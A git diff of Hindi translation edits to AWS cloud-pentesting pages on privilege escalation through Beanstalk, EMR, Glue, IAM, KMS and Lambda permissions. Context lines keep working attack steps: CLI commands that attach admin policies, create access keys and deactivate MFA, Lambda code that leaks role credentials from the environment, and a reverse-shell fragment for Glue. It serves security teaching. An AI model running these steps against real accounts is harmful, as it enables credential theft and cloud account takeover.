### `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `cloudformation:GetTemplate`, `cloudformation:DescribeStackResources`, `cloudformation:DescribeStackResource`, `autoscaling:DescribeAutoScalingGroups`, `autoscaling:SuspendProcesses`, `autoscaling:SuspendProcesses`
-सबसे पहले, आपको **पीड़ित** में चलाने के लिए **कोड** के साथ एक **वैध Beanstalk वातावरण** बनाना होगा, जो **पिछले चरणों** का पालन करता है। संभावित रूप से इन **2 फ़ाइलों** को शामिल करने वाला एक साधारण **ज़िप**:
+सबसे पहले, आपको **पीड़ित** में चलाने के लिए **कोड** के साथ एक **वैध Beanstalk वातावरण** बनाना होगा, जो **पिछले चरणों** का पालन करता है। संभावित रूप से एक साधारण **zip** जिसमें ये **2 फ़ाइलें** शामिल हैं:
{{#tabs }}
{{#tab name="application.py" }}
@@ -111,7 +111,7 @@ Werkzeug==1.0.1
{{#endtab }}
{{#endtabs }}
-एक बार जब आपके पास **अपना खुद का Beanstalk env चल रहा हो** आपका rev shell, तो इसे **शिकार** के env में **स्थानांतरित** करने का समय है। ऐसा करने के लिए, आपको अपने beanstalk S3 बकेट की **Bucket Policy** को **अपडेट** करना होगा ताकि **शिकार इसे एक्सेस कर सके** (ध्यान दें कि इससे **Bucket** **सभी के लिए** **खुल जाएगी**):
+एक बार जब आपके पास **अपना खुद का Beanstalk env चल रहा हो** आपका rev shell, तो इसे **शिकार** के env में **स्थानांतरित** करने का समय है। ऐसा करने के लिए आपको अपने beanstalk S3 बकेट की **बकेट नीति को अपडेट** करना होगा ताकि **शिकार इसे एक्सेस कर सके** (ध्यान दें कि इससे बकेट **सभी के लिए खुल जाएगा**):
```json
{
"Version": "2008-10-17",
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
index fc125323b..c9e82a385 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
@@ -4,7 +4,7 @@
## EMR
-**EMR के बारे में अधिक जानकारी** यहाँ है:
+More **info about EMR** in:
{{#ref}}
../aws-services/aws-emr-enum.md
@@ -13,7 +13,7 @@
### `iam:PassRole`, `elasticmapreduce:RunJobFlow`
इन अनुमतियों के साथ एक हमलावर **EC2 भूमिकाओं को संलग्न करते हुए एक नया EMR क्लस्टर चला सकता है** और इसके क्रेडेंशियल्स चुराने की कोशिश कर सकता है।\
-ध्यान दें कि ऐसा करने के लिए आपको **खाता में आयातित कुछ ssh प्राइवेट की के बारे में जानना होगा** या एक आयात करना होगा, और **मास्टर नोड में पोर्ट 22 खोलने में सक्षम होना होगा** (आप इसे `--ec2-attributes` के अंदर `EmrManagedMasterSecurityGroup` और/या `ServiceAccessSecurityGroup` के गुणों के साथ कर सकते हैं)।
+ध्यान दें कि ऐसा करने के लिए आपको **खाते में आयातित कुछ ssh प्राइवेट की के बारे में जानना होगा** या एक आयात करना होगा, और **मास्टर नोड में पोर्ट 22 खोलने में सक्षम होना होगा** (आप इसे `--ec2-attributes` के अंदर `EmrManagedMasterSecurityGroup` और/या `ServiceAccessSecurityGroup` के गुणों के साथ कर सकते हैं)।
```bash
# Import EC2 ssh key (you will need extra permissions for this)
ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
@@ -36,27 +36,27 @@ aws emr describe-cluster --cluster-id
# In MasterPublicDnsName you can find the DNS to connect to the master instance
## You cna also get this info listing EC2 instances
```
-नोट करें कि एक **EMR भूमिका** `--service-role` में निर्दिष्ट की गई है और एक **ec2 भूमिका** `--ec2-attributes` में `InstanceProfile` के अंदर निर्दिष्ट की गई है। हालांकि, यह तकनीक केवल EC2 भूमिका क्रेडेंशियल्स को चुराने की अनुमति देती है (क्योंकि आप ssh के माध्यम से कनेक्ट करेंगे) लेकिन EMR IAM भूमिका नहीं।
+ध्यान दें कि `--service-role` में एक **EMR भूमिका** निर्दिष्ट की गई है और `InstanceProfile` के अंदर `--ec2-attributes` में एक **ec2 भूमिका** निर्दिष्ट की गई है। हालांकि, यह तकनीक केवल EC2 भूमिका के क्रेडेंशियल्स चुराने की अनुमति देती है (क्योंकि आप ssh के माध्यम से कनेक्ट करेंगे) लेकिन EMR IAM भूमिका नहीं।
**संभावित प्रभाव:** निर्दिष्ट EC2 सेवा भूमिका के लिए प्रिवेस्क।
### `elasticmapreduce:CreateEditor`, `iam:ListRoles`, `elasticmapreduce:ListClusters`, `iam:PassRole`, `elasticmapreduce:DescribeEditor`, `elasticmapreduce:OpenEditorInConsole`
-इन अनुमतियों के साथ, एक हमलावर **AWS कंसोल** में जा सकता है, एक नोटबुक बना सकता है और IAM भूमिका को चुराने के लिए इसका उपयोग कर सकता है।
+इन अनुमतियों के साथ, एक हमलावर **AWS कंसोल** में जा सकता है, एक नोटबुक बना सकता है और IAM भूमिका चुराने के लिए इसका उपयोग कर सकता है।
> [!CAUTION]
-> भले ही आप मेरे परीक्षणों में नोटबुक इंस्टेंस से IAM भूमिका को संलग्न करें, मैंने देखा कि मैं AWS प्रबंधित क्रेडेंशियल्स को चुराने में सक्षम था और IAM भूमिका से संबंधित क्रेड्स नहीं।
+> भले ही आप मेरे परीक्षणों में नोटबुक इंस्टेंस से एक IAM भूमिका संलग्न करें, मैंने देखा कि मैं AWS प्रबंधित क्रेडेंशियल्स चुराने में सक्षम था और IAM भूमिका से संबंधित क्रेड्स नहीं।
-**संभावित प्रभाव:** AWS प्रबंधित भूमिका के लिए प्रिवेस्क arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
+**संभावित प्रभाव:** AWS प्रबंधित भूमिका arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile के लिए प्रिवेस्क।
### `elasticmapreduce:OpenEditorInConsole`
-बस इस अनुमति के साथ, एक हमलावर **Jupyter Notebook तक पहुँच** प्राप्त कर सकेगा और इससे संबंधित IAM भूमिका को चुरा सकेगा।\
+बस इस अनुमति के साथ, एक हमलावर **Jupyter Notebook तक पहुंच प्राप्त कर सकेगा और इससे संबंधित IAM भूमिका चुरा सकेगा।**\
नोटबुक का URL है `https://.emrnotebooks-prod.eu-west-1.amazonaws.com//lab/`
> [!CAUTION]
-> भले ही आप मेरे परीक्षणों में नोटबुक इंस्टेंस से IAM भूमिका को संलग्न करें, मैंने देखा कि मैं AWS प्रबंधित क्रेडेंशियल्स को चुराने में सक्षम था और IAM भूमिका से संबंधित क्रेड्स नहीं।
+> भले ही आप मेरे परीक्षणों में नोटबुक इंस्टेंस से एक IAM भूमिका संलग्न करें, मैंने देखा कि मैं AWS प्रबंधित क्रेडेंशियल्स चुराने में सक्षम था और IAM भूमिका से संबंधित क्रेड्स नहीं।
-**संभावित प्रभाव:** AWS प्रबंधित भूमिका के लिए प्रिवेस्क arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
+**संभावित प्रभाव:** AWS प्रबंधित भूमिका arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile के लिए प्रिवेस्क।
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
index d2618fda4..4e16f8bba 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
@@ -4,7 +4,7 @@
### `gamelift:RequestUploadCredentials`
-इस अनुमति के साथ, एक हमलावर **नए गेम बिल्ड फ़ाइलों को अपलोड करते समय उपयोग के लिए क्रेडेंशियल्स का एक ताजा सेट प्राप्त कर सकता है** Amazon GameLift के Amazon S3 पर। यह **S3 अपलोड क्रेडेंशियल्स** लौटाएगा।
+इस अनुमति के साथ, एक हमलावर **नए गेम बिल्ड फ़ाइलों को Amazon GameLift के Amazon S3 पर अपलोड करते समय उपयोग के लिए क्रेडेंशियल्स का एक ताजा सेट प्राप्त कर सकता है**। यह **S3 अपलोड क्रेडेंशियल्स** लौटाएगा।
```bash
aws gamelift request-upload-credentials \
--build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md
index 1f7b3bc74..44467991f 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md
@@ -8,7 +8,7 @@
इन अनुमतियों वाले उपयोगकर्ता **एक नया AWS Glue विकास अंत बिंदु सेटअप कर सकते हैं**, **Glue द्वारा अनुमेय एक मौजूदा सेवा भूमिका को इस अंत बिंदु पर विशिष्ट अनुमतियों के साथ असाइन करते हैं**।
-सेटअप के बाद, **हमलावर अंत बिंदु के उदाहरण में SSH कर सकता है**, और असाइन की गई भूमिका के IAM क्रेडेंशियल चुरा सकता है:
+सेटअप के बाद, **हमलावर अंत बिंदु के उदाहरण में SSH कर सकता है**, और असाइन की गई भूमिका के IAM क्रेडेंशियल्स चुरा सकता है:
```bash
# Create endpoint
aws glue create-dev-endpoint --endpoint-name \
@@ -41,11 +41,11 @@ aws glue get-dev-endpoint --endpoint-name privesctest
# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
```
-**संभावित प्रभाव:** उपयोग की गई गोंद सेवा भूमिका के लिए प्रिवेस्क।
+**संभावित प्रभाव:** ग्लू सेवा भूमिका में प्रिवेस्क।
### `iam:PassRole`, (`glue:CreateJob` | `glue:UpdateJob`), (`glue:StartJobRun` | `glue:CreateTrigger`)
-उपयोगकर्ता जिनके पास **`iam:PassRole`** है, जो **`glue:CreateJob` या `glue:UpdateJob`** के साथ मिलकर, और **`glue:StartJobRun` या `glue:CreateTrigger`** में से किसी एक के साथ मिलकर **AWS Glue नौकरी** बना या अपडेट कर सकते हैं, किसी भी **गोंद सेवा खाते** को संलग्न कर सकते हैं, और नौकरी के निष्पादन को प्रारंभ कर सकते हैं। नौकरी की क्षमताओं में मनमाने Python कोड को चलाना शामिल है, जिसका उपयोग एक रिवर्स शेल स्थापित करने के लिए किया जा सकता है। इस रिवर्स शेल का उपयोग **IAM क्रेडेंशियल** को निकालने के लिए किया जा सकता है जो गोंद नौकरी से जुड़ी भूमिका के हैं, जिससे उस भूमिका के अनुमतियों के आधार पर संभावित अनधिकृत पहुंच या क्रियाएं हो सकती हैं:
+उपयोगकर्ता जिनके पास **`iam:PassRole`** है, जो **`glue:CreateJob` या `glue:UpdateJob`** के साथ मिलकर, और **`glue:StartJobRun` या `glue:CreateTrigger`** में से किसी एक के साथ मिलकर **AWS Glue जॉब** बना या अपडेट कर सकते हैं, किसी भी **ग्लू सेवा खाता** को संलग्न कर सकते हैं, और जॉब के निष्पादन को प्रारंभ कर सकते हैं। जॉब की क्षमताओं में मनमाने Python कोड को चलाना शामिल है, जिसका उपयोग एक रिवर्स शेल स्थापित करने के लिए किया जा सकता है। इस रिवर्स शेल का उपयोग **IAM क्रेडेंशियल** को निकालने के लिए किया जा सकता है जो ग्लू जॉब से जुड़ी भूमिका के हैं, जिससे उस भूमिका के अनुमतियों के आधार पर संभावित अनधिकृत पहुंच या क्रियाएं हो सकती हैं:
```bash
# Content of the python script saved in s3:
#import socket,subprocess,os
@@ -71,13 +71,13 @@ aws glue create-trigger --name triggerprivesc --type SCHEDULED \
--actions '[{"JobName": "privesctest"}]' --start-on-creation \
--schedule "0/5 * * * * *" #Every 5mins, feel free to change
```
-**संभावित प्रभाव:** निर्दिष्ट गोंद सेवा भूमिका के लिए प्रिवेस्क।
+**संभावित प्रभाव:** निर्दिष्ट ग्लू सेवा भूमिका के लिए प्रिवेस्क।
### `glue:UpdateJob`
केवल अपडेट अनुमति के साथ, एक हमलावर पहले से जुड़े भूमिका के IAM क्रेडेंशियल्स चुरा सकता है।
-**संभावित प्रभाव:** जुड़े गोंद सेवा भूमिका के लिए प्रिवेस्क।
+**संभावित प्रभाव:** जुड़े हुए ग्लू सेवा भूमिका के लिए प्रिवेस्क।
## संदर्भ
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md
index f8bc611c9..8b0a9cd28 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md
@@ -12,18 +12,18 @@ IAM के बारे में अधिक जानकारी के ल
### **`iam:CreatePolicyVersion`**
-एक नया IAM नीति संस्करण बनाने की क्षमता प्रदान करता है, `iam:SetDefaultPolicyVersion` अनुमति की आवश्यकता को बायपास करते हुए `--set-as-default` ध्वज का उपयोग करके। यह कस्टम अनुमतियों को परिभाषित करने की अनुमति देता है।
+एक नए IAM नीति संस्करण को बनाने की क्षमता प्रदान करता है, `iam:SetDefaultPolicyVersion` अनुमति की आवश्यकता को बायपास करते हुए `--set-as-default` ध्वज का उपयोग करके। यह कस्टम अनुमतियों को परिभाषित करने की अनुमति देता है।
**Exploit Command:**
```bash
aws iam create-policy-version --policy-arn \
--policy-document file:///path/to/administrator/policy.json --set-as-default
```
-**प्रभाव:** सीधे विशेषाधिकारों को बढ़ाता है जिससे किसी भी संसाधन पर कोई भी क्रिया की जा सके।
+**प्रभाव:** किसी भी संसाधन पर किसी भी क्रिया की अनुमति देकर सीधे विशेषाधिकार बढ़ाता है।
### **`iam:SetDefaultPolicyVersion`**
-IAM नीति के डिफ़ॉल्ट संस्करण को किसी अन्य मौजूदा संस्करण में बदलने की अनुमति देता है, यदि नए संस्करण में अधिक अनुमतियाँ हैं तो संभावित रूप से विशेषाधिकारों को बढ़ा सकता है।
+IAM नीति के डिफ़ॉल्ट संस्करण को किसी अन्य मौजूदा संस्करण में बदलने की अनुमति देता है, यदि नए संस्करण में अधिक अनुमतियाँ हैं तो विशेषाधिकार बढ़ाने की संभावना है।
**Bash कमांड:**
```bash
@@ -33,7 +33,7 @@ aws iam set-default-policy-version --policy-arn --version-id
### **`iam:CreateAccessKey`**
-किसी अन्य उपयोगकर्ता के लिए एक्सेस की आईडी और गुप्त एक्सेस की बनाने की अनुमति देता है, जिससे संभावित विशेषाधिकार वृद्धि हो सकती है।
+किसी अन्य उपयोगकर्ता के लिए एक्सेस कुंजी आईडी और गुप्त एक्सेस कुंजी बनाने की अनुमति देता है, जिससे संभावित विशेषाधिकार वृद्धि हो सकती है।
**शोषण:**
```bash
@@ -43,7 +43,7 @@ aws iam create-access-key --user-name
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
-AWS कंसोल लॉगिन के लिए पासवर्ड सेट करने सहित एक लॉगिन प्रोफ़ाइल बनाने या अपडेट करने की अनुमति देता है, जो सीधे विशेषाधिकार वृद्धि की ओर ले जाता है।
+लॉगिन प्रोफ़ाइल बनाने या अपडेट करने की अनुमति देता है, जिसमें AWS कंसोल लॉगिन के लिए पासवर्ड सेट करना शामिल है, जो सीधे विशेषाधिकार वृद्धि की ओर ले जाता है।
**निर्माण के लिए शोषण:**
```bash
@@ -83,7 +83,7 @@ aws iam reset-service-specific-credential --service-specific-credential-id --policy-arn ""
```bash
aws iam attach-group-policy --group-name --policy-arn ""
```
-**प्रभाव:** नीति द्वारा प्रदान की गई किसी भी चीज़ के लिए सीधे विशेषाधिकार वृद्धि।
+**प्रभाव:** नीति द्वारा प्रदान की गई किसी भी चीज़ पर सीधे विशेषाधिकार वृद्धि।
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
-भूमिकाओं, उपयोगकर्ताओं, या समूहों पर नीतियों को संलग्न करने या रखने की अनुमति देता है, जिससे अतिरिक्त अनुमतियाँ देकर सीधे विशेषाधिकार वृद्धि संभव होती है।
+भूमिकाओं, उपयोगकर्ताओं, या समूहों पर नीतियों को संलग्न करने या रखने की अनुमति देता है, जिससे अतिरिक्त अनुमतियाँ प्रदान करके सीधे विशेषाधिकार वृद्धि संभव होती है।
**भूमिका के लिए शोषण:**
```bash
@@ -131,7 +131,7 @@ aws iam put-role-policy --role-name --policy-name "" \
### **`iam:AddUserToGroup`**
-अपने आप को IAM समूह में जोड़ने की अनुमति देता है, समूह की अनुमतियों को विरासत में लेकर विशेषाधिकार बढ़ाता है।
+IAM समूह में स्वयं को जोड़ने की अनुमति देता है, समूह की अनुमतियों को विरासत में लेकर विशेषाधिकार बढ़ाता है।
**शोषण:**
```bash
@@ -141,7 +141,7 @@ aws iam add-user-to-group --group-name --user-name
### **`iam:UpdateAssumeRolePolicy`**
-एक भूमिका के assume role नीति दस्तावेज़ को बदलने की अनुमति देता है, भूमिका और इसके संबंधित अनुमतियों के ग्रहण को सक्षम बनाता है।
+एक भूमिका के असुमे भूमिका नीति दस्तावेज़ को बदलने की अनुमति देता है, भूमिका और इसके संबंधित अनुमतियों के अधिग्रहण को सक्षम बनाता है।
**शोषण:**
```bash
@@ -173,11 +173,11 @@ aws iam update-assume-role-policy --role-name \
```bash
aws iam upload-ssh-public-key --user-name --ssh-public-key-body
```
-**MFA निष्क्रियता के लिए शोषण:**
+**MFA निष्क्रियकरण के लिए शोषण:**
```bash
aws iam deactivate-mfa-device --user-name --serial-number
```
-**प्रभाव:** कोडकमिट एक्सेस सक्षम करके या MFA सुरक्षा को अक्षम करके अप्रत्यक्ष विशेषाधिकार वृद्धि।
+**प्रभाव:** कोडकमिट एक्सेस सक्षम करके या MFA सुरक्षा को निष्क्रिय करके अप्रत्यक्ष विशेषाधिकार वृद्धि।
### **`iam:ResyncMFADevice`**
@@ -215,7 +215,7 @@ aws iam update-saml-provider --saml-metadata-document --saml-prov
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
-(इस बारे में अनिश्चित) यदि एक हमलावर के पास ये **अनुमतियाँ** हैं, तो वह प्रदाता पर भरोसा करने वाली सभी भूमिकाओं में लॉगिन करने के लिए एक नया **थंबप्रिंट** जोड़ सकता है।
+(इस बारे में अनिश्चित) यदि एक हमलावर के पास ये **अनुमतियाँ** हैं, तो वह सभी भूमिकाओं में लॉगिन करने के लिए प्रदाता पर भरोसा करने वाले नए **थंबप्रिंट** को जोड़ सकता है।
```bash
# List providers
aws iam list-open-id-connect-providers
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md
index 38fa9af78..493edb919 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md
@@ -61,7 +61,7 @@ aws kms create-grant \
> [!WARNING]
> ध्यान दें कि KMS को **ग्रांट उत्पन्न होने के बाद कुंजी का उपयोग करने के लिए उपयोगकर्ता को अनुमति देने में कुछ मिनट लग सकते हैं**। एक बार वह समय बीत जाने के बाद, प्रिंसिपल KMS कुंजी का उपयोग बिना कुछ निर्दिष्ट किए कर सकता है।\
-> हालाँकि, यदि ग्रांट का तुरंत उपयोग करना आवश्यक है [एक ग्रांट टोकन का उपयोग करें](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (निम्नलिखित कोड की जांच करें)।\
+> हालाँकि, यदि ग्रांट का तुरंत उपयोग करना आवश्यक है [एक ग्रांट टोकन का उपयोग करें](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (निम्नलिखित कोड देखें)।\
> [**अधिक जानकारी के लिए इसे पढ़ें**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token)।
```bash
# Use the grant token in a request
@@ -76,7 +76,7 @@ aws kms list-grants --key-id
```
### `kms:CreateKey`, `kms:ReplicateKey`
-इन अनुमतियों के साथ, एक अलग क्षेत्र में एक अलग नीति के साथ एक मल्टी-क्षेत्र सक्षम KMS कुंजी को पुन: उत्पन्न करना संभव है।
+इन अनुमतियों के साथ, एक अलग क्षेत्र में एक अलग नीति के साथ एक मल्टी-रीजन सक्षम KMS कुंजी को पुन: उत्पन्न करना संभव है।
इसलिए, एक हमलावर इसका दुरुपयोग करके कुंजी तक अपनी पहुंच प्राप्त कर सकता है और इसका उपयोग कर सकता है।
```bash
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
index 06c6f236f..290900f03 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
@@ -47,7 +47,7 @@ aws lambda invoke --function-name my_function output.txt
aws iam list-attached-user-policies --user-name
```
आप **लैम्ब्डा भूमिका अनुमतियों का दुरुपयोग** भी कर सकते हैं जो लैम्ब्डा फ़ंक्शन से ही हैं।\
-यदि लैम्ब्डा भूमिका के पास पर्याप्त अनुमतियाँ थीं, तो आप इसका उपयोग करके अपने लिए प्रशासनिक अधिकार प्रदान कर सकते थे:
+यदि लैम्ब्डा भूमिका में पर्याप्त अनुमतियाँ हैं, तो आप इसका उपयोग करके अपने लिए प्रशासनिक अधिकार प्रदान कर सकते हैं:
```python
import boto3
def lambda_handler(event, context):
@@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
```
-यह भी संभव है कि बिना किसी बाहरी कनेक्शन की आवश्यकता के lambda के भूमिका क्रेडेंशियल्स लीक किए जाएं। यह **Network isolated Lambdas** के लिए उपयोगी होगा जो आंतरिक कार्यों पर उपयोग किए जाते हैं। यदि आपके रिवर्स शेल को फ़िल्टर करने वाले अज्ञात सुरक्षा समूह हैं, तो यह कोड आपको lambda के आउटपुट के रूप में सीधे क्रेडेंशियल्स लीक करने की अनुमति देगा।
+यह भी संभव है कि बिना किसी बाहरी कनेक्शन की आवश्यकता के लम्ब्डा की भूमिका क्रेडेंशियल्स लीक किए जाएं। यह **नेटवर्क आइसोलेटेड लम्ब्डास** के लिए उपयोगी होगा जो आंतरिक कार्यों पर उपयोग किए जाते हैं। यदि आपके रिवर्स शेल को फ़िल्टर करने वाले अज्ञात सुरक्षा समूह हैं, तो यह कोड आपको लम्ब्डा के आउटपुट के रूप में सीधे क्रेडेंशियल्स लीक करने की अनुमति देगा।
```python
def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
@@ -79,27 +79,27 @@ cat output.txt
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`
-पिछले परिदृश्य की तरह, आप **`lambda:AddPermission`** अनुमति होने पर **अपने लिए `lambda:InvokeFunction`** अनुमति **प्रदान** कर सकते हैं।
+पिछले परिदृश्य की तरह, यदि आपके पास अनुमति **`lambda:AddPermission`** है तो आप **अपने लिए `lambda:InvokeFunction`** अनुमति **प्रदान** कर सकते हैं।
```bash
# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
```
-**संभावित प्रभाव:** निर्दिष्ट मनमाने लैम्ब्डा सेवा भूमिका के लिए सीधे विशेषाधिकार वृद्धि।
+**संभावित प्रभाव:** निर्दिष्ट मनमाने लैम्ब्डा सेवा भूमिका के लिए सीधे प्रिवेस्क।
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`
-**`iam:PassRole`, `lambda:CreateFunction`, और `lambda:CreateEventSourceMapping`** अनुमतियों वाले उपयोगकर्ता (और संभावित रूप से `dynamodb:PutItem` और `dynamodb:CreateTable`) अप्रत्यक्ष रूप से **विशेषाधिकार बढ़ा सकते हैं** भले ही उनके पास `lambda:InvokeFunction` न हो।\
+**`iam:PassRole`, `lambda:CreateFunction`, और `lambda:CreateEventSourceMapping`** अनुमतियों वाले उपयोगकर्ता (और संभावित रूप से `dynamodb:PutItem` और `dynamodb:CreateTable`) अप्रत्यक्ष रूप से **अधिकार बढ़ा सकते हैं** भले ही उनके पास `lambda:InvokeFunction` न हो।\
वे **दुष्ट कोड के साथ एक लैम्ब्डा फ़ंक्शन बना सकते हैं और इसे एक मौजूदा IAM भूमिका सौंप सकते हैं**।
-लैम्ब्डा को सीधे सक्रिय करने के बजाय, उपयोगकर्ता एक मौजूदा DynamoDB तालिका स्थापित करता है या उसका उपयोग करता है, इसे एक इवेंट स्रोत मैपिंग के माध्यम से लैम्ब्डा से जोड़ता है। यह सेटअप सुनिश्चित करता है कि लैम्ब्डा फ़ंक्शन तालिका में एक नए आइटम के प्रवेश पर **स्वचालित रूप से सक्रिय हो** जाता है, चाहे वह उपयोगकर्ता की क्रिया द्वारा हो या किसी अन्य प्रक्रिया द्वारा, इस प्रकार अप्रत्यक्ष रूप से लैम्ब्डा फ़ंक्शन को सक्रिय करना और पास की गई IAM भूमिका के अनुमतियों के साथ कोड को निष्पादित करना।
+लैम्ब्डा को सीधे सक्रिय करने के बजाय, उपयोगकर्ता एक मौजूदा DynamoDB तालिका सेट करता है या उसका उपयोग करता है, इसे एक इवेंट स्रोत मैपिंग के माध्यम से लैम्ब्डा से जोड़ता है। यह सेटअप सुनिश्चित करता है कि लैम्ब्डा फ़ंक्शन तालिका में एक नए आइटम के प्रवेश पर **स्वचालित रूप से ट्रिगर** होता है, चाहे वह उपयोगकर्ता की क्रिया द्वारा हो या किसी अन्य प्रक्रिया द्वारा, इस प्रकार अप्रत्यक्ष रूप से लैम्ब्डा फ़ंक्शन को सक्रिय करना और पास की गई IAM भूमिका के अनुमतियों के साथ कोड को निष्पादित करना।
```bash
aws lambda create-function --function-name my_function \
--runtime python3.8 --role \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip
```
-यदि DynamoDB पहले से AWS वातावरण में सक्रिय है, तो उपयोगकर्ता केवल **Lambda फ़ंक्शन के लिए इवेंट स्रोत मैपिंग स्थापित करने की आवश्यकता है**। हालाँकि, यदि DynamoDB का उपयोग नहीं किया जा रहा है, तो उपयोगकर्ता को **स्ट्रीमिंग सक्षम के साथ एक नई तालिका बनानी होगी**:
+यदि DynamoDB पहले से AWS वातावरण में सक्रिय है, तो उपयोगकर्ता को केवल **Lambda फ़ंक्शन के लिए इवेंट स्रोत मैपिंग स्थापित करने की आवश्यकता है**। हालाँकि, यदि DynamoDB का उपयोग नहीं किया जा रहा है, तो उपयोगकर्ता को **स्ट्रीमिंग सक्षम के साथ एक नई तालिका बनानी होगी**:
```bash
aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
@@ -113,7 +113,7 @@ aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn \
--enabled --starting-position LATEST
```
-Lambda फ़ंक्शन को DynamoDB स्ट्रीम से लिंक करके, हमलावर **DynamoDB स्ट्रीम को सक्रिय करके Lambda को अप्रत्यक्ष रूप से ट्रिगर कर सकता है**। यह **DynamoDB तालिका में एक आइटम डालकर** किया जा सकता है:
+DynamoDB स्ट्रीम से जुड़े Lambda फ़ंक्शन के साथ, हमलावर **DynamoDB स्ट्रीम को सक्रिय करके Lambda को अप्रत्यक्ष रूप से ट्रिगर कर सकता है**। यह **DynamoDB तालिका में एक आइटम डालकर** किया जा सकता है:
```bash
aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}
@@ -143,10 +143,10 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen
### `lambda:UpdateFunctionCode`
-**`lambda:UpdateFunctionCode`** अनुमति रखने वाले उपयोगकर्ताओं के पास **IAM भूमिका से जुड़े एक मौजूदा Lambda फ़ंक्शन के कोड को संशोधित करने की क्षमता है।**\
-हमलावर **IAM क्रेडेंशियल्स को एक्सफिल्ट्रेट करने के लिए लैम्ब्डा का कोड संशोधित कर सकता है।**
+**`lambda:UpdateFunctionCode`** अनुमति रखने वाले उपयोगकर्ताओं के पास **IAM भूमिका से जुड़े एक मौजूदा Lambda फ़ंक्शन के कोड को संशोधित करने की संभावना है।**\
+हमलावर **IAM क्रेडेंशियल्स को निकालने के लिए lambda के कोड को संशोधित कर सकता है।**
-हालांकि हमलावर के पास फ़ंक्शन को सीधे सक्रिय करने की क्षमता नहीं हो सकती है, यदि Lambda फ़ंक्शन पूर्व-निर्मित और कार्यात्मक है, तो यह संभावना है कि इसे मौजूदा वर्कफ़्लो या घटनाओं के माध्यम से सक्रिय किया जाएगा, इस प्रकार संशोधित कोड के निष्पादन को अप्रत्यक्ष रूप से सुविधाजनक बनाता है।
+हालांकि हमलावर के पास फ़ंक्शन को सीधे सक्रिय करने की क्षमता नहीं हो सकती है, यदि Lambda फ़ंक्शन पूर्व-निर्धारित और कार्यात्मक है, तो यह संभावना है कि इसे मौजूदा कार्यप्रवाहों या घटनाओं के माध्यम से सक्रिय किया जाएगा, इस प्रकार संशोधित कोड के निष्पादन को अप्रत्यक्ष रूप से सुविधाजनक बनाता है।
```bash
# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
@@ -167,7 +167,7 @@ aws lambda invoke --function-name my_function output.txt
```bash
